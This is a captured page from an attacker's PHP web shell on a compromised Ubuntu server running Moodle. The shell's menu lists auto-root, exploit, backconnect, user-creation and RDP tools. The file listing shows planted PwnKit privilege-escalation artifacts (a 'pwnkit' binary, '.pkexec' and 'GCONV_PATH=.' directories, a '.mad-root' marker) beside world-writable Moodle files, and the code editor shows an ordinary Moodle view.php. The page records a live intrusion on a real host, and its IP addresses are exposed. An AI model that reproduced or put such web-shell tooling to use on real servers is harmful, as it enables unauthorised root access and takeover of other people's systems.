Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
mod /
book /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxrwxrwx
db
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
tool
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
README.md
1.64
KB
-rwxrwxrwx
delete.php
3.61
KB
-rwxrwxrwx
edit.php
4.72
KB
-rwxrwxrwx
edit_form.php
2.61
KB
-rwxrwxrwx
index.php
3.46
KB
-rwxrwxrwx
lib.php
12.6
KB
-rwxrwxrwx
locallib.php
19.36
KB
-rwxrwxrwx
mod_form.php
2.98
KB
-rwxrwxrwx
move.php
5.41
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
settings.php
1.75
KB
-rwxrwxrwx
show.php
2.66
KB
-rwxrwxrwx
styles.css
2.23
KB
-rwxrwxrwx
version.php
1.21
KB
-rwxrwxrwx
view.php
7.3
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Book view page * * @package mod_book * @copyright 2004-2011 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require(dirname(__FILE__).'/../../config.php'); require_once(dirname(__FILE__).'/locallib.php'); require_once($CFG->libdir.'/completionlib.php'); $id = optional_param('id', 0, PARAM_INT); // Course Module ID $bid = optional_param('b', 0, PARAM_INT); // Book id $chapterid = optional_param('chapterid', 0, PARAM_INT); // Chapter ID $edit = optional_param('edit', -1, PARAM_BOOL); // Edit mode // ========================================================================= // security checks START - teachers edit; students view // ========================================================================= if ($id) { $cm = get_coursemodule_from_id('book', $id, 0, false, MUST_EXIST); $course = $DB->get_record('course', array('id'=>$cm->course), '*', MUST_EXIST); $book = $DB->get_record('book', array('id'=>$cm->instance), '*', MUST_EXIST); } else { $book = $DB->get_record('book', array('id'=>$bid), '*', MUST_EXIST); $cm = get_coursemodule_from_instance('book', $book->id, 0, false, MUST_EXIST); $course = $DB->get_record('course', array('id'=>$cm->course), '*', MUST_EXIST); $id = $cm->id; } require_course_login($course, true, $cm); $context = context_module::instance($cm->id); require_capability('mod/book:read', $context); $allowedit = has_capability('mod/book:edit', $context); $viewhidden = has_capability('mod/book:viewhiddenchapters', $context); if ($allowedit) { if ($edit != -1 and confirm_sesskey()) { $USER->editing = $edit; } else { if (isset($USER->editing)) { $edit = $USER->editing; } else { $edit = 0; } } } else { $edit = 0; } // read chapters $chapters = book_preload_chapters($book); if ($allowedit and !$chapters) { redirect('edit.php?cmid='.$cm->id); // No chapters - add new one. } // Check chapterid and read chapter data if ($chapterid == '0') { // Go to first chapter if no given. add_to_log($course->id, 'book', 'view', 'view.php?id='.$cm->id, $book->id, $cm->id); foreach ($chapters as $ch) { if ($edit) { $chapterid = $ch->id; break; } if (!$ch->hidden) { $chapterid = $ch->id; break; } } } $courseurl = new moodle_url('/course/view.php', array('id' => $course->id)); // No content in the book. if (!$chapterid) { $PAGE->set_url('/mod/book/view.php', array('id' => $id)); notice(get_string('nocontent', 'mod_book'), $courseurl->out(false)); } // Chapter doesnt exist or it is hidden for students if ((!$chapter = $DB->get_record('book_chapters', array('id' => $chapterid, 'bookid' => $book->id))) or ($chapter->hidden and !$viewhidden)) { print_error('errorchapter', 'mod_book', $courseurl); } $PAGE->set_url('/mod/book/view.php', array('id'=>$id, 'chapterid'=>$chapterid)); // Unset all page parameters. unset($id); unset($bid); unset($chapterid); // Security checks END. add_to_log($course->id, 'book', 'view chapter', 'view.php?id='.$cm->id.'&chapterid='.$chapter->id, $chapter->id, $cm->id); // Read standard strings. $strbooks = get_string('modulenameplural', 'mod_book'); $strbook = get_string('modulename', 'mod_book'); $strtoc = get_string('toc', 'mod_book'); // prepare header $pagetitle = $book->name . ": " . $chapter->title; $PAGE->set_title($pagetitle); $PAGE->set_heading($course->fullname); book_add_fake_block($chapters, $chapter, $book, $cm, $edit); // prepare chapter navigation icons $previd = null; $nextid = null; $last = null; foreach ($chapters as $ch) { if (!$edit and $ch->hidden) { continue; } if ($last == $chapter->id) { $nextid = $ch->id; break; } if ($ch->id != $chapter->id) { $previd = $ch->id; } $last = $ch->id; } $navprevicon = right_to_left() ? 'nav_next' : 'nav_prev'; $navnexticon = right_to_left() ? 'nav_prev' : 'nav_next'; $navprevdisicon = right_to_left() ? 'nav_next_dis' : 'nav_prev_dis'; $chnavigation = ''; if ($previd) { $chnavigation .= '<a title="'.get_string('navprev', 'book').'" href="view.php?id='.$cm->id. '&chapterid='.$previd.'"><img src="'.$OUTPUT->pix_url($navprevicon, 'mod_book').'" class="icon" alt="'.get_string('navprev', 'book').'"/></a>'; } else { $chnavigation .= '<img src="'.$OUTPUT->pix_url($navprevdisicon, 'mod_book').'" class="icon" alt="" />'; } if ($nextid) { $chnavigation .= '<a title="'.get_string('navnext', 'book').'" href="view.php?id='.$cm->id. '&chapterid='.$nextid.'"><img src="'.$OUTPUT->pix_url($navnexticon, 'mod_book').'" class="icon" alt="'.get_string('navnext', 'book').'" /></a>'; } else { $sec = $DB->get_field('course_sections', 'section', array('id' => $cm->section)); $returnurl = course_get_url($course, $sec); $chnavigation .= '<a title="'.get_string('navexit', 'book').'" href="'.$returnurl.'"><img src="'.$OUTPUT->pix_url('nav_exit', 'mod_book'). '" class="icon" alt="'.get_string('navexit', 'book').'" /></a>'; // we are cheating a bit here, viewing the last page means user has viewed the whole book $completion = new completion_info($course); $completion->set_module_viewed($cm); } // ===================================================== // Book display HTML code // ===================================================== echo $OUTPUT->header(); // upper nav echo '<div class="navtop">'.$chnavigation.'</div>'; // chapter itself echo $OUTPUT->box_start('generalbox book_content'); if (!$book->customtitles) { $hidden = $chapter->hidden ? 'dimmed_text' : ''; if (!$chapter->subchapter) { $currtitle = book_get_chapter_title($chapter->id, $chapters, $book, $context); echo $OUTPUT->heading($currtitle, 2, array('class' => 'book_chapter_title '.$hidden)); } else { $currtitle = book_get_chapter_title($chapters[$chapter->id]->parent, $chapters, $book, $context); $currsubtitle = book_get_chapter_title($chapter->id, $chapters, $book, $context); echo $OUTPUT->heading($currtitle, 2, array('class' => 'book_chapter_title '.$hidden)); echo $OUTPUT->heading($currsubtitle, 3, array('class' => 'book_chapter_title '.$hidden)); } } $chaptertext = file_rewrite_pluginfile_urls($chapter->content, 'pluginfile.php', $context->id, 'mod_book', 'chapter', $chapter->id); echo format_text($chaptertext, $chapter->contentformat, array('noclean'=>true, 'context'=>$context)); echo $OUTPUT->box_end(); // lower navigation echo '<div class="navbottom">'.$chnavigation.'</div>'; echo $OUTPUT->footer();
Close